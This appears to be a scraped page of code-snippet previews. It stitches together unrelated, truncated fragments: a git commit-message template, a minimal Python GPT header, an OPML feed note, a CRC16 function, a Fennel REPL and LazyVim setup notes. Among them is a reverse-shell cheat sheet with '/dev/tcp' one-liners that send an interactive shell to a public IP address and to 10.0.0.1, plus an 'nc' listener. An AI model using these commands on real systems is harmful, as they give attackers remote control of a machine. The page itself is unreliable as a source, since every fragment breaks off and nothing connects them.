See how a minor change to your commit message style can make a difference.
git commit -m"<type>(<optional scope>): <description>" \ -m"<optional body>" \ -m"<optional footer>"
See how a minor change to your commit message style can make a difference.
git commit -m"<type>(<optional scope>): <description>" \ -m"<optional body>" \ -m"<optional footer>"
| #bash | |
| /bin/sh -i >& /dev/tcp/200.93.248.46/83 0>&1 >>> nc -vvlp 83 | |
| #bash | |
| bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 | |
| #bash alt | |
| exec /bin/bash 0&0 2>&0 | |
| #bash alt 2 |
| """ | |
| The most atomic way to train and run inference for a GPT in pure, dependency-free Python. | |
| This file is the complete algorithm. | |
| Everything else is just efficiency. | |
| @karpathy | |
| """ | |
| import os # os.path.exists | |
| import math # math.log, math.exp |
This is an OPML version of the HN Popularity Contest results for 2025, for importing into RSS feed readers.
Plug: if you want to find content related to your interests from thousands of obscure blogs and noisy sources like HN Newest, check out Scour. It's a free, personalized content feed I work on where you define your interests in your own words and it ranks content based on how closely related it is to those topics.
| uint16_t crc16(char* pData, int length) | |
| { | |
| uint8_t i; | |
| uint16_t wCrc = 0xffff; | |
| while (length--) { | |
| wCrc ^= *(unsigned char *)pData++ << 8; | |
| for (i=0; i < 8; i++) | |
| wCrc = wCrc & 0x8000 ? (wCrc << 1) ^ 0x1021 : wCrc << 1; | |
| } | |
| return wCrc & 0xffff; |
| ;; since one of the strengths of Fennel is access to Lua frameworks, here's | |
| ;; a graphical REPL which runs inside LÖVE (https://love2d.org) | |
| ;; supports multiline input, showing errors in red, detecting incomplete input. | |
| ;; for a slightly more complex version which supports running inside a sandbox | |
| ;; see the wiki: https://github.com/bakpakin/Fennel/wiki/Repl | |
| ;; to run: fennel -c love-repl.fnl > main.lua && love . | |
| (local fennel (require :fennel)) |
A very basic setup for ruby/rails development using LazyVim
First, you'll of course need neovim. I personally just use the stable release over nightly just because I dislike when things randomly break, and I have to stop working to deal with it. But do whatever you like.
Probably a good idea to start it and run :checkhealth to make sure everything works before proceeding.